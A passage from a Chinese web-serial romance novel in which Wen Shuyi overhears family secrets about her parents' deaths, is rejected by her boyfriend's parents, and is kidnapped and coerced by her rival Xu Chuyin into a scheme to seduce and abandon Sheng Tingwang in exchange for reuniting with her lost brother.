她一下想到了盛珽妄,“你的男朋友不会是……” “阿姨,我男朋友是李江衍。” 李舒萍又是一怔。 李家的李江衍。 “是吗?” 温疏亦点头,李舒萍仔细揣摩着她的神情,确实不像说谎后,热情一下就没了。 她牵起米米的手,不再理会温疏亦,“走吧。” 米米回头看了温疏亦一眼。 阴暗地冲她竖了个中指。 温疏亦被气到了。 跟一个六岁的孩子,又实在是有理没地讲去。 刚走进大厅。 还没来得及去给盛老爷送上寿辰的礼物。 就听到了人声骚动。 是盛珽妄到了。 一身订制的西装,裁剪精细,质地上乘,领口处的蝴蝶结,彰显了他对此次赴宴的重视。 身旁的佳人,同样的出众。 温婉优雅的旗袍,加上凹凸有致的身材,就是那么的恰到好处。 两个人没来由地般配。 有叔叔伯伯,跟盛珽妄聊天。 那些婶婶阿姨,就拉着许初音聊一些夫妻间的事情。 刚好温疏亦就站在这些婶婶的们旁边,想不听,都难。 “初音,你和珽妄什么时候要孩子啊?趁着年轻,赶紧要,身材恢复起来也快。” “是啊,男人嘛,要生个孩子才能拴住他,你年轻好生养,千万别拖。” 许初音脸色微红。 看起来像是有些许的不好意思。 “我和珽妄没有避孕,不过,这孩子的事情,得听老天安排,我们说了也不算。” 婶婶们笑盈盈的,拉着许初音的手,“他那么多年在国外,受过不少的伤,那方面没问题的吧?” “他……挺好的。”许初音耳朵红了。 “看珽妄那个样子,就差不到哪里去,你们可得抓紧了,晚上多来上几次……” 笑声不知道为何,变得刺耳起来。 温疏亦听得不是滋味。 悄悄地转身走到了院子里。 夏天的盛家,挺朝气蓬勃的。 可她的心口却是荒凉一片。 盛励走过来,与她并肩站着,“怎么?心里不舒服了?” “跟你有什么关系。”温疏亦知道他说的是盛珽妄和许初音,缓缓蹲下,“你最好离我远一点,我现在心情不算好,会骂人的。” 盛励淡淡地看着她。 眼中有一些心疼,“你心情不好的时候,就爱蹲在院子里捡树叶。” “你对我很了解吗?”温疏亦没抬头,小脸埋进膝盖里,“你别妄想再跟我重新开始,我这个人不会吃回头草的。” “那如果,这个求和好的人是盛珽妄呢?你也不会吗?” 温疏亦眼神微微顿住,旋即扯出一抹苦笑,“当然啊,他不是男人啊?你眼瞎是不是,他已经结婚了,他有老婆了,跟我求什么和好。” 盛励勉强认可。 跟着蹲了下来,与她平齐说话,“我妈说你有男朋友了,是李江衍,是真的吗?” “当然是真的。” “你来真的?准备跟他结婚?”盛励又问。 温疏亦:“你少问那么多,跟你有什么关系?” “我得看看,我到底有没有机会,再追求到你。”盛励对温疏亦有遗憾,那两年,他忽略了她的好,而现在,他与她也要错过了,“你要不要,给我一个,和李江衍公平竞争的机会?” “你跟他根本不在一个水平线上,就是给你机会,你也争不过他。”温疏亦笑着摇头,“你要明白,有些事情,过去就是过去了,就算再拾回来,也不是原来的感觉了,没有必要。” 第29章 漂亮的女人不安分 她不知道盛励能不能听懂。 有那么一瞬间。 她感觉,她其实对盛励早已经释怀。 人一旦释怀。 就没有所谓的爱与恨,喜与恶。 落脚点变成了事件,而不是单单针对这个人。 “我想一个人走走,你别跟着我。”温疏亦说。 盛励没跟过来。 温疏亦心情好了一些。 拐弯的时候,她看到了养父温汉彬和盛宗杰在一起说话。 她本来是不想听的。 转身的时候,听到了自己亲生父亲的名字。 “三年前,我把乔天华的事情压了下来,但现在上面来调查组了,压是压不住了,我决定提前退了,和卫静去国外定居,即便是查出些什么,我在国内也是查无此人了。” 温疏亦的脚步顿住。 三年前,调查突然中止,原来是养父从中作梗。 盛宗杰的话紧跟着过来,“当年的事情,如果真的调查起来,谁也脱不了干系,这三年,我一直在调查这个举报的人,好像……” “好像什么?”温汉彬往盛宗杰面前走了一步。 盛宗杰压低声音,“这个举报的人,好像与盛珽妄有关。” “确定吗?” 盛宗杰左右看了看,确定无人后说,“当年这小子就在现场,他看到的事情,比我们想象得多,如果他有心整我们,还真的是挺棘手的。” “盛珽妄不是你们盛家的人吗?他反咬一口,是什么意思?”温汉彬不解。 盛宗杰也不是很清楚。 盛珽妄有很多面,他都看不透。 二人后面说话的声音越来越小。 温疏亦听不清了。 盛珽妄? 父母亲的死,不仅与盛温两家有关。 还真的跟他有关。 怪不得三年前,他说要帮她查清父母地震中去世的真相。 原来,他手握着真相。 她还真是一个被他玩弄于掌中的小丑。 再次回到大厅里。 温疏亦有一些心不在焉。 远远的,她看到了李江衍的母亲,正在与别人寒暄。 以盛老爷子在红圈中的地位。 在这儿见到李家人,也没什么可奇怪的。 温疏亦小步走过去,想跟她打个招呼。 还没走到近前,就听到了李江衍的母亲与另外几位婶婶们的谈话。 “听说你家儿子,正跟盛家前儿媳妇谈恋爱,你是怎么想的?” 李母眉心皱起无奈,叹息,“我也不想捡别人家不要的啊,儿子大了,我说话也不好使了。” “你可别犯糊涂啊,那个温疏亦在盛家住了两年,早就被盛励给睡烂了,我听说啊,她在盛家的时候,还勾引过盛珽妄呢。” 李母大惊失色,这是她第一次听说这事。 他们李家,怎么说也是正经人家,娶这样的媳妇,不得叫人笑掉大牙。 “她……你们说的,这是真的吗?” “我们能骗你吗?你们家江衍人长得好,又有正经工作,为人正直,也没有乱搞过女朋友,我们是觉得可惜了,我们可不是爱嚼舌根的人。” 李母脸色越来越难看,“江衍会不会不知道这些事情?他要是知道,应该不会再跟她恋爱的。” “这小年轻的,懂什么,我说江衍他妈,你得给把好关啊,咱们红圈里的人,脸面尤为重要,盛家不要的女人,咱们凭什么要?就算她姓温又怎样?一个捡来的养女,没人看在眼里的。” 李母点头。 她其实也一直没有看好温疏亦。 这个女孩太漂亮了。 太漂亮的女人,能安分到哪里去。 她那个儿子,就是一时的鬼迷心窍了。 “太过分了,这样的女人,怎么配得上我的儿子,我真的回家好好跟他谈一谈。” 温疏亦迈出去的脚步,终究又拾了回来。 她心口挺涩的。 怎么搞的她像过街的老鼠。 明明,她没有做错什么。 温疏亦觉得在这里继续呆下去,意义不大。 便将自己准备的生日礼物,交给了家里的保姆,便离开了盛家。 夏日的华城。 总是阴雨连绵。 出来的时候,还艳阳高照,现在,竟然开始电闪雷鸣。 她生命中太多的雨天。 出生的那天。 地震后父母下葬的那天。 宫外孕的那天。 还有今天…… 温疏亦没带伞。 沿着路边的白桦树走,刚好可以遮一些雨。 “上车。”一辆墨色的车子停在了她的身旁,后排车窗打开。 她看到了盛珽妄的脸。 温疏亦看向他的眼神,透出复杂。 她满脑子里,都是养父与盛宗杰的那些对话。 她该问他吗? 如果她问了,他会告诉自己吗? 一道闪电,从天而降,刚好劈中了温疏亦身旁的那棵小树。 她吓得抱起了头。 盛珽妄迅速从车里下来,用衣服为她撑起漫天的大雨,将她带进了车里。 “张纶,把暖风打开。” 其实不冷。 温疏亦只是吓到了。 她还以为那道闪电会劈中她,那她可真成了天选之子。 “下着雨,也不知道打个车,淋生病了怎么办?”盛珽妄看起来很是紧张和关心。 温疏亦极淡的扫了他一眼,“盛老爷子的寿宴还没结束吧?你不留在你太太身边,跑出来干什么?不怕盛老爷子生气?” “你还替我操上心了。”盛珽妄笑了一口。 温疏亦不是为他操心。 只觉得,总是遇到他,有一些心烦,“有事吗?没事的话,我下车了。” “我……” 盛珽妄话还没说,手机就响了起来。 是盛家老宅打来的。 许初音晕倒了。 让他马上过去。 “我……”盛珽妄面露难色,“疏亦……” “你忙你的去吧。”温疏亦下了车。 他伸手抓了一把。 没抓住。 雨势很大。 她抱着自己,走在桦树下,想想闪电也没那么可怕。 要真的劈到了她。 她还真是一了百了了。 车子在她身后掉头。 温疏亦心口凉凉。 当把爱放在天平上的时候,谁重谁轻,一目了然。 所以…… 男人把情话,说得天花乱坠的时候,保持清醒就好了。 温疏亦回家后,洗个了热水澡。 李江衍给她打来电话,询问今天去盛家的事情。 温疏亦想到了他母亲的那些话,“江衍哥,你跟我交往这事,你父母知道吗?他们的意见……” “我都快三十的人了,谈个恋爱,还要经过父母的同意吗?”李江衍笑着,声音爽朗,“疏亦,你是不是今天……听到什么了?我妈好像去过了,你见到她了?” “没,没有,我没有见到阿姨。”温疏亦不想挑拨别人家庭矛盾,“江衍哥,其实我们这种年纪的话,恋爱也是奔着结婚去的,我觉得,你最好先问一下你父母的意见,我觉得这也是对我的尊重。” 第30章 幕后大BOSS 李江衍答应了,“如果这样做,你心里会踏实一些,我会跟父母讲一声,听听他们的意见,你今天应该很累了,早一点休息。” “好。” 温疏亦确实累了。 但也没有睡好。 她失眠的情况,没有好转,甚至更严重了。 隔天去公司的时候。 黑眼圈明显。 开完早会。 许初音出现在了她所在的部门。 主管CICI跟在她身旁。 “许主管回来工作了,她给大家送喜糖来了。”CICI说话。 大家都从工作中抬起头来。 许初音的喜糖是订制的。 某国际知名品牌代工,一包喜糖就得小一千块的样子。 “这是我结婚的喜糖,我和盛总结婚了……”许初音微笑着跟大家解释,“……盛珽妄,就是天景集团的总裁,我们青梅竹马,三年前在国外注册结婚了,因为他放心不下公司,所以……我们还是回来了。” 张尔非碰了碰温疏亦的胳膊,小声说,“我记得咱们公司幕后的老板确实是姓盛,没想到,是她老公啊。” 温疏亦也挺意外的。 盛珽妄竟然是天景集团的幕后大BOSS. 看看。 她对他还真的是一无所知呢。 许初音将喜糖放到了温疏亦的面前,“温小姐,不恭喜一下我?” “恭喜。”温疏亦没有失态。 “我身体不好,珽妄他选择在这个时候,回归天景集团,也是为我保驾护航的,不然的话,他还是想做幕后老板,一直在国外生活的。” 这话像是对温疏亦讲。 也像是向大家传递一个,盛珽妄很宠老婆的讯息。 “初音,恭喜你,愿你早生贵子。”CICI将话接了过去。 许初音笑笑,继续为大家分喜糖,“谢谢你啊CICI。” 大家都表示了对许初音的祝福。 温疏亦继续工作。 许初音离开前,淡淡回望了她一眼。 不久后的集团大会上。 各部门都在电脑会议上,见到了盛珽妄。 惊掉下巴的,是张尔非。 她指着屏幕上的人,差点吐血,“疏亦姐,这个,这不是……你那个炮……友吗?” 温疏亦扶额。 在盛家和红圈里,她已经将脸丢尽了。 现在好了。 脸丢到公司里来了。 “能,帮我保密吗?”温疏亦很无奈,又觉得无法解释这事,“如果不能,也没关系。” 张尔非挺心疼温疏亦得。 在她的心里,温疏亦私生活简单得不得了。 上班,下班,偶尔还会兼职,精力都用在了赚钱上面。 但她知道,温疏亦是红圈里的人。 背景有一些。 这大家门户里,难免会有一些扯不清的情感纠葛。 她能理解。 “疏亦姐。”张尔非拍着胸口,“我保证不会告诉第三个人,你知我知,他人不知。” 温疏亦挤了抹感谢的笑意,“谢谢你啊,尔非。” “不过,我挺担心你的。”张尔非托着下巴,想到许初音看温疏亦的眼神,“我猜许主管应该知道你和盛总的关系,你得小心一点,我记得,以前她就用热咖啡泼过你。” 温疏亦心口温暖。 笑了笑,“大不了就辞职呗,有这三年的工作经验,再找工作,不会太难的。” 张尔非抱住了温疏亦的胳膊。 哼唧着,“我可不想你走,你是我这个公司里最合得来的朋友,疏亦姐,我们不能让困难打倒,我们要打倒困难。” “行,那我就坚持到,不能再坚持下去的那天。” 张尔非点头,“加油。” 会议结束。 CICI姐把温疏亦叫到了办公室。 “这个设计图,要当面找客户确定一下,刚刚我跟客户确定了一下时间,差不多晚上九点过后,他才有时间,为了给我们留出改稿的时间,我希望你今天晚上亲自跑一趟,怎么样?” 温疏亦接过设计图看了一眼。 是B组的设计方案,不解:“B组的人,都没有时间吗?” “小方怀孕了,赵姐呢儿子闯祸,老师找她去谈话,最闲的杰西卡,今天她妈过生日,一个个的……” CICI摇头。 温疏亦便同意了,“那我就亲自跑一趟,没关系的,B组的同事,也经常帮我们的忙的。” “谢谢你啊疏亦,有加班费的。”CICI说。 “好。” 温疏亦下班后。 回家吃了个饭,她就对着电脑,将设计稿及客户的要求,捋顺了一遍。 差不多晚上八点的时候,她从家里出去。 客户住的地方是富人区。 说白了就是,没什么人气的地方。 路灯昏黄。 她步子走得很快。 在拐弯的地方,她感觉身后有人在跟着她。 于是,她跑了起来。 一边跑,她一边给张尔非打电话,“我好像被尾随了,要是十分钟后我没有给你发消息,你就报警。” 单身女性。 在这个荒无人烟的小道上。 危险可想而知。 再联想到,最近新闻上频繁播放的杀人案,那个凶手好像还没有被缉拿归案。 温疏亦后背都凉了。 “唔……”嘴被捂住,旋即失去了意识。 千防万防,还是没有防过。 温疏亦醒来的时候。 在一个空的房间里。 一张铁艺单人床。 她的手被绑在床头上。 屋里不光她自己,还有一个满脸络腮胡子的中年男人,正就着花生米在喝酒。 温疏亦的头很晕。 那蒙汗药劲太大了。 现在身体还是一点力气都使不上。 门从外面打开,进来一个女人。 温疏亦抬眸望过去。 是许初音。 “是你?” “温疏亦,你别怪我啊,我也不想做这种事情,但是……”许初音走到温疏亦的面前,居高临下地看向她,“……你现在是个麻烦,知道吗?” “我真的不希望,我的丈夫心里总是装着一个,不是他太太的女人,你能理解吗?” 温疏亦不知道许初音要做什么。 此时她只能委曲求全,“我和三爷清清白白,许主管,你误会了。” “误不误会的,不重要,想要把一个女人,从一个男人的脑子里抹掉,不是让她去死,而是……”许初音抬了抬手指。 络腮胡的男人,转身走了出去。 很快,进来了四五个,体形,个头,模样各异的男人。 “……而是,让她失去让他想念的东西。”许初音淡淡的扯动唇角,“男人嘛,总是喜欢干净的女人,脏了,也就没有兴致了。” 温疏亦明白了。 许初音这是想让四五个大汉,把她强了。 她不知道是该笑,还是该哭。 “许初音,如果盛珽妄知道,你对我做了这种事情,你觉得你的婚姻还能保得住吗?” 第31章 拧断她的脖子 许初音并不慌乱。 脸上是不失风度的淡定,“当然,这是最愚蠢的办法,我还可以给你另外一个选择。” “什么选择?”温疏亦皱紧眉心。 “我知道你一直在找你的弟弟。”许初音脸上依然是淡而冷静的微笑,“我可以实话告诉你,你弟弟,我已经找到了。” “什么?”温疏亦激动起身。 奈何手被绑在铁艺床头,又把她纤弱的身子拽回了原处,“你找到我弟弟了?” “这么说吧,其实盛珽妄一直知道你弟弟在哪儿,如果他想告诉你,他想帮你,三年前,他就告诉你了,但他没有。” 许初音唇角扬起对温疏亦的可怜,“他没有告诉你,你猜是为什么?” 温疏亦不知道。 可能,盛珽妄从一开始就算没打算帮她。 但那又怎样? 她早已经不打算求他了。 至于许初音,她现在说这些,到底是什么意思? “别卖关子。” 许初音笑了,“温疏亦,你其实挺聪明的,应该能想到,他至今都没有把这件事情,告诉你的原因。” “男人嘛,总有一些上不了台面的阴暗需求,像盛珽妄这种身体有残疾的男人,更会有一些异于常人的想法。” “比如说,他要证明他男性方面的能力,他是特种兵出身,有异于常人的征服欲,而你,对他来说,是一个最好的对象,说得难听一点,他想得到你,不是因为有多喜欢你,而是……满足自己内心的那些变态的欲望。” “温疏亦,男人其实不难看透的,只是你把里面掺进去了感情,你才会痛苦,才会觉得世道不公平。” 许初音的话,像是把温疏亦打入了无边地狱。 她知道,不该对盛珽妄产生感情。 她用三年的时间,验证了自己的荒唐。 她已经得到报应了。 她不想再听这些。 “我对这些不感兴趣,你是怎么找到我弟弟的?他现在在哪儿?”温疏亦不知道,为什么许初音也知道她在找弟弟。 是盛珽妄告诉她的吗? 呵,她怎么给忘了。 他们本就是一体。 只有她被蒙在鼓里而已。 许初音拿出一张照片,递给了温疏亦。 上面是一个年轻的男人。 相貌有一些与她相似。 许初音,“这个男人,就是你的亲弟弟。” “一张照片,你觉得我会信?”温疏亦还没那么蠢,她说什么,就信什么,“许初音,你到底想干什么?” “如果你不信,我可以为你们做亲属鉴定。”许初音知道温疏亦内心,已经相信了七八分,“我既然有十足的把握,就说明,我早已经确定过,他就是你的亲弟弟。” 照片的人,确实有一些弟弟小时候的影子。 但仅凭一张照片…… 除非她见到人,“可以让我见一面?” “当然。”许初音给了络腮胡男人,一个眼神。 他便给温疏亦松了绑,“温疏亦,我可以让你们见面,抽血,做亲属鉴定,但,你弟弟现在身体不太好,你得有心理准备。” “他身体怎么了?”温疏亦问。 “见了你就知道了。” “那……你想让我做什么?”天下不可能有白嗟之食,“许初音,你说这么多,一定有自己的目的,说吧,别绕弯子了。” 许初音等的就是这一句。 她慢条斯理地拉了把椅子坐下来,“和盛珽妄恋爱吧。” “什么意思?”温疏亦愕然。 许初音知道,自己怎么拦都拦不住,盛珽妄爱温疏亦。 不如就换个方法。 “我知道盛珽妄,现在对你还是很感兴趣,温疏亦,我现在要求你让他彻底的爱上你,最好是爱得不能自拔,然后再狠狠地抛弃他。” 温疏亦不懂,“你明明不想我跟他有瓜葛,为什么?” “只有你让他伤了心,他才会知道,这个世界上,谁是对他最好的人,不是吗?”许初音毫不避讳自己的初衷,“温疏亦,他想玩你,你就把他玩死,让他知道,女人不是那么那好玩的,不好玩吗?” 许初音双腿交叠,慵懒地靠在椅背上,“你报复了他,我收回了自己的男人,还顺带着,让你们姐弟相认,里外里,你都是赢家啊。” 温疏亦微哂。 听起来,她是不吃亏。 可是盛珽妄是什么人? 特种兵出身,他有异于常人的敏锐观察力,她这种小白,在他眼前演戏,难道不是一眼就看穿吗? 她更倾向于,许初音是想让盛珽妄拧断她的脖子。 “那如果,我不愿意呢?” “如果你不愿意,那就这五个喽。”许初音勾了勾手指,五个大汉立马上前一步,“温疏亦,如果你可以承受得住这五个男人,并拍下影像发到网上去,我也可以让你跟弟弟相认,你自己选喽。” 紧跟着,她又追了句,“不过你有没有命,想见到你弟弟,那可就不好说了。” 许初音的威胁。 温疏亦心口泛凉。 许初音想用这种杀人诛心的方法,让盛珽妄重新将她视为唯一。 可她不想。 也不愿意。 “许初音,或许你很了解盛珽妄,但你不了解我。其实,真的不必费这么大的功夫,我再贱,也不至于去勾搭个有妇之夫。” 许初音不这样想。 她视温疏亦为威胁。 她要把温疏亦彻底地从盛珽妄心里拔除。 “你不去勾搭他,他不见就不去勾搭你,这样一了百了,对我们大家都好。” 许初音起身,走到温疏亦的面前,轻轻的拍了拍她的肩,“男人这种生物,越是得不到,他的心越是在骚动,就会没完没了,你知道的。” 温疏亦深呼吸,“那,我想先见弟弟一面。” “好,我来安排。”许初音同意了。 最后的最后,许初音把温疏亦放了。 本就失眠的她,坐在出租屋的阳台上,她想了一晚上。 弟弟? 许初音真的找到了自己的弟弟吗? 还是说,她随便找了个人来冒充弟弟? 还有盛珽妄,她要怎样说服自己,去跟一个伤害过自己的男人相恋,还要让他相信,她原谅了他,爱上他,深爱他…… 温疏亦心里很乱。 几天后。 许初音约了温疏亦在一个私人会所相见。 她的身旁有一位坐在轮椅上的男人。 年纪不算大,却花白了头发。 “他是……”温疏亦不确定,这是不是她要找的弟弟,“……我弟弟?” “没错,他就是乔深。” “乔深?”温疏亦轻轻地唤了弟弟的名字。 年轻男人没什么反应。 她错愕问向许初音,“他……” “他听得不是很清楚,小时候得了失语症,时间长了人也自闭了,不会说话了,耳朵的功能也退化了。”许初音指了指年轻男人的腿,“腿是被当年收养他的买家打断的,怕他逃。” 温疏亦心口疼极了。 她颤着指尖,去解年轻男人的领口,弟弟的左胸有一枚像小蝴蝶的胎记,红色的,医生说过的,不会消失。 尽管年轻男人抗拒。 但温疏亦还是看到了,那枚独属于弟弟的印记。 “乔深,我是姐姐,你还能认出我吗?”温疏亦捧着男人的脸,试图让他看清自己。 第32章 乱七八糟的男女关系 年轻的男人,眼神始终在躲避。 不知道是不想看,还是不敢看。 “乔深,我是姐姐,我是姐姐啊……” 男人像是受刺激。 吱哇乱叫,又抓头发,又抓衣服。 许初音赶紧让人把他推了出去,“他现在又聋又哑又残的,你别刺激到他。” 温疏亦擦了把眼泪。 问许初音,“你是从哪儿找到他的?” “一个小渔村。”许初音淡淡看着温疏亦,“其实,我也费了一把子功夫,要知道,你弟弟可是被盛珽妄藏起来的,不好找呢。” 温疏亦心口又是一凉,“他为什么要藏起我弟弟来?” “我说过了,他本来就没有想让你知道你弟弟在哪儿,吊着你玩,这个理由,能不能说服你?” 许初音唇角的笑,令人狐疑。 但温疏亦还是很快说服了自己。 论了解,她不如许初音了解盛珽妄。 深究没有任何意义。 她只相信眼前看到的,“我需要再做鉴定,如果结果确定,他就我弟弟,我可以答应你提的要求。” “没问题。” …… 为了保险起见。 温疏亦找了家外市的亲子鉴定机构,抽了血。 结果不出意外。 这个不算健康的男人,确实是她的亲弟弟,乔深。 “人,我就带走了,你什么时候,完成了我交代的事情,我会让你们姐弟重逢的,你也放心,我不会虐待他。” 许初音把乔深带走了。 温疏亦站在机构门口。 看着汽车的尾灯,一时陷入了彷徨与惆怅之中…… 李江衍打来电话说,要带温疏亦回李家吃饭。 她没有拒绝。 李江衍的母亲瞧不上她,这次见面,十有八九会逼李江衍与她分手。 也省得她找借口了。 为了表示尊重。 温疏亦还是去买了鲜花和贵重的礼品。 不为别的,为她和李江衍这短短的一场交往。 李家门口。 最先出来迎接她的是李江衍的小妹妹。 一个十五六岁的小姑娘。 她牵着温疏亦的手,一个一个嫂子地叫着,“嫂子,我哥他没有欺负你吧,他要是欺负了你,我就跟我讲,我收拾他。” 温疏亦抬手摸了摸她的头顶,温和地笑着,“你还这么厉害呢?” “男人就不能欺负女人,否则不能叫男人。”小姑娘煞有介事的。 温疏亦心口那处黑,被照亮了不少,“你说的没错。” 李江衍笑着揉乱了妹妹的头发,“看把你能的。” 三个人有说有笑地往里走。 一走进客厅。 温疏亦就察觉了气氛有一些不对头。 李父和李母脸色都不算好看。 温疏亦收起唇角的弧度,将自己精挑细选的礼物递了过去,“伯伯,伯母,你们好,我是温疏亦。” “你就是温汉彬收养的那个孩子啊。”李父出口,有一些瞧不上在里面,“怎么一点大院孩子的气质都没有啊?现在在哪儿工作啊?” “我在天景集团。” 温疏亦没往里走,就站在门口。 夏日的阳光照在她的后背上,很热,很烫,却有一些哀凉。 李江衍握起她的手,想带她进屋。 她没动。 “没事,我爸就是问问,进来吧。”他说。 李江衍的妹妹也过来牵温疏亦的手,“嫂子,进来吧,在门口挺热的,里面开了空调呢。” “这是发拗给谁看呢?”李母想着之前那些传言,瞧着温疏亦不顺眼,“这还没过门呢,就开始耍威风了,那要是过了门,是不是得把我们两个老东西,都赶出去啊?” 李江衍听话不对头。 忙走到了父母面前,让少说两句,“妈,你说什么呢?疏亦她就是怕生而已,你们是长辈,怎么能这么说话呢?” “你看她这个样子,还没过门呢,就甩脸子给我们看。”李母被儿子说得委屈了起来,“江衍,你这还没有娶媳妇呢,眼里就没有爸妈了,你可真的太伤我们的心了。” 说着,就哭了起来。 李父脸黑得如沉墨一般,对李江衍也教训了起来,“不是跟你说了,不要什么人都往家里带,我们李家要娶的媳妇,是家世相当,身世清白,也没有乱七八糟的男女关系,你真的太让我们失望了。” 温疏亦其实知道李家人,瞧不上她。 结果她早在来之前就知道了。 没有太多的难过。 “江衍哥,你好好地哄哄伯伯和伯母,我就先回去了。”她依然礼貌,没有失态。 李江衍妹妹跑过来,握住了温疏亦的手,“嫂子,我爸妈是老糊涂,你可千万别跟他们一般见识,我哥爱上的人,不会有错的。” 温疏亦挺温暖的。 至少有一个人,可以跟她好好讲话,“谢谢你啊,我先走了。” “嫂子再见。” 温疏亦刚走出大门,李江衍就追了出来。 他扣住她的手腕,张口便是道歉,“对不起啊,我不知道我爸妈说话那么刻薄,他们一直说,我喜欢的,他们就喜欢,我没有想到……” “江衍哥,看来,我们是真的不合适。”温疏亦言语淡淡,没多少的情绪,“别因为我,跟父母闹了别扭,你爸妈也是为你好,我的过往确实有很多,让人说道的地方,我配不上你也是真的。” “你过往怎么了?我没觉得有任何问题啊,疏亦,我觉得你很好,你不要因为他们而否定了,我要跟你走下去的决心。” 温疏亦心里挺不是滋味的。 她何尝没有想过,要跟李江衍有一个结果。 命运就是这样的。 他的父母不喜欢她。 而她…… “江衍哥,抱歉,我们还是……分手吧。” 温疏亦抽回自己的手腕,头也不回地离开了。 李江衍痛苦地看着她的背影,听到了心碎的声音。 温疏亦在街上转了很久,才回到自己的出租屋里。 楼下。 一辆墨色的迈巴赫旁,是那根耀眼的手杖。 盛珽妄来了。 她抬眸看他,眼眶很红。 如果不是命运的捉弄,她会跟他结婚吗? 不会的。 他只是在玩一场猫捉老鼠的游戏。 而她,也只是那只以为在跟猫的耗子。 “听你们主管说,你今天请假了,有什么事情吗?”盛珽妄问。 她没有回答。 抬眸看向了他的眼睛。 他眉眼生得极为好看,浅浅的内双,微微上扬的眼尾,锐利而又蛊惑人心。 他瞳孔的颜色很深。 深到,她无法穿透,看到他的内心。 如此危险的男人面前,她要如何演? “昨天,许主管来我们部门分你们的喜糖,我心情不好,今天就请假了。” 温疏亦撒谎了。 第33章 她哭了,装的 她不知道这样的谎言。 盛珽妄会不相信她。 在他产生疑惑之前,她又问他,“你来找我有什么事情吗?” “不请我上去坐坐?”他没回答,却又反问。 温疏亦掀起眉眼,极为冷淡地看了他一眼,便转身往公寓里走。 盛珽妄跟在他的身后。 手杖拄着地面,发出有节奏的咔哒声。 温疏亦的心跟着声音跳动着,心慌得厉害。 其实,从面上看,盛珽妄不瘸。 这根手杖存在的意义,或许更多的是一种权威和功勋的表现。 开门。 她第一次带他回自己的出租屋。 这个出租屋她住了三年,挺小的,六十来平,一间卧室的格局。 胜在阳光充沛,她讨厌不见天日的日子。 “坐吧。”她说。 温疏亦不知道盛珽妄喜欢喝茶,还是咖啡。 他年纪也不大,也就比她大个四岁的样子。 她做主给他冲了杯,速溶咖啡。 他接过咖啡,道了谢,“这个小的房子,住得还习惯?” “一个人没那么多讲究。”温疏亦坐到了他的对面,像跟朋友聊天般地说,“我这几年也攒了些钱,打算再多凑点首付,就去供一个小房子,至少有个家。” 男人抬眸。 看向温疏亦的墨色眸子里,透出怜惜和心疼。 他能理解,从小没有家的孩子,想要有一个家的愿望。 他可以为她完成这个愿望。 “打算在哪买?有去看楼盘吗?” 温疏亦点头,“江阳大道有一个户型还挺喜欢的,最小的那个只有一百平,我算了算,勉强能供得起。” “挺好的。” 他没再说什么。 拿出手机,给助理张纶发了条信息。 [江阳大道,最大的房子是多少平的?] 张纶立马回:[三爷您要买房啊?那边最大的大平层四百平,不过有顶层,面积还要大一些,价格也要贵一点。] [买一套,全款,写温疏亦的名字。] 张纶:[写……温疏亦的名字?] [对,马上去办。] 张纶:[是。] 放下手机。 他打量着这个小屋子,布置得很温馨,桌布是小碎花的,阳台的窗纱是奶白色的,窗台上放着一盆香水海棠,风一吹,有阵阵的花香。 温疏亦是个会生活的女孩子。 她是向阳生长的。 “这三年,一直住在这儿?” 温疏亦:“是啊,这儿租金便宜,离公司又近,而且自从那次生病后,房东阿姨,还给我减了租。” 盛珽妄的心口紧了紧。 她说的生病,应该是那次宫外孕手术。 这话,他不敢问。 不是怕她怪他,是怕她再回忆一遍这其中的痛楚。 “现在身体好些了吗?” “还行吧。”她淡淡的。 “我跟你们主管,要了你,以后你来跟着我,先从行政助理开始做起,慢慢熟悉业务,我希望你最终成长为天景集团的COO。” 盛珽妄说得轻描淡写。 温疏亦听得心惊胆颤。 “你太瞧得起我了,我现在就是一个小设计师,对公司布局一无所知,你是不是找错对象了?” 盛珽妄回答得很坚定,“你跟着我,我来教你。” 不是温疏亦不相信盛珽妄的能力。 是在她的心里,盛珽妄只是一个……兵。 突然空降回天景集团,她都还没有消化他是集团总裁这件事情。 他又要把她培养成一个COO? “我……我觉得我可能不是这块料。”温疏亦拒绝。 盛珽妄想让温疏亦成长。 无论将来,他和她是否能有个结果,他都希望她有一身的本事。 这是他唯一可以为她做的。 “做生意这事不难,我也是半路出家,相信自己。”他很认真地望着她的眼睛,“我会手把手带你,我相信,你会成长得很快。” “你这样做……只是想弥补,三年前对我造成的伤害?”温疏亦平淡安静地勾起一抹,令人唏嘘的笑意,“有一些伤害是注定无法弥补的,因为你辜负的是我的爱,你懂吗?” 温疏亦哭了。 全是演的。 她对盛珽妄一点感情都没有吗? 当然不是。 只是这个时候,她需要更强烈的感情介入,才能让他相信,她给了他原谅的空子,可以让他钻。 想让他入局。 她就得比他先入局。 看到温疏亦的眼泪。 盛珽妄起身走到他面前,递了纸巾给她,“对不起,疏亦我……” 话未完。 温疏亦突然抱住了他的腰。 小脸靠在他的身前,肩哭的一抽一抽,“盛珽妄,你还知道对不起我啊,我没有想到,你会这么狠心,悄无声息地离开三年,也就算了,还结婚,还让许初音去分喜糖,你既然这么爱她,当初为什么要来招惹我,为什么?” 他大手抚着她的头发。 难过不比她少。 三年前,他说娶她是真的。 三年后回来,他还是想要娶她的。 “我和许初音没有结婚,疏亦……”他捧着她的小脸,心疼地吻去她的眼泪,“……我想跟你结婚,我的想法一直没有变过,只要你点头,我们马上可以去领证。” 温疏亦望着他的眼睛。 他好真诚啊。 真诚到,她差一点就相信他了。 “我才不要当破坏别人婚姻的第三者。”温疏亦擦了擦眼泪,推开盛珽妄,“你们婚礼的照片我都看过了,你还在否认,盛珽妄,你为什么这么爱撒谎。” “我没有撒谎。”他将温疏亦搂进怀里,声音浅淡温柔,“我说的都是真心话,三年前我想娶你,现在我还是娶你,只要你肯,我就可以给你想要的。” 温疏亦心口淤滞。 无论这句话是盛珽妄的真心,还是假意。 都悄无声息地打动了她。 可是许初音的话,还在耳边。 他只是想玩她,他或许只是迷恋在她身上取得的成就感。 想到这些。 再多的心动和冲动,也只是化成了一缕青烟,随风飞走。 “那你说过,帮我找弟弟,帮我查我亲生父母当年去世的真相,还做数吗?” 盛珽妄点头,“当然。” “那现在有头绪了吗?”她望住他的眼睛,生怕错过他眼底微小的讯息,“我是说我弟弟,有没有线索?” 他有那么一瞬间的恍惚和躲闪。 旋即便握住了温疏亦的肩,“你弟弟他……,我还在努力。” 温疏亦笑了。 他撒谎了。 他真的好爱说谎。 连许初音都可以找到的人,他怎么会找不到呢。 他不但找不到,还任由许初音将人带走了。 失望。 温疏亦心口凉极了,但面上还是挤了抹不介意的笑,“不管怎么说,你没有食言,我就再相信你一次。” 第34章 你玩不起啊 “我一定会把你弟弟,好好地带到你的面前。” 他看不得她满是泪珠的眼睛。 轻轻地吻着。 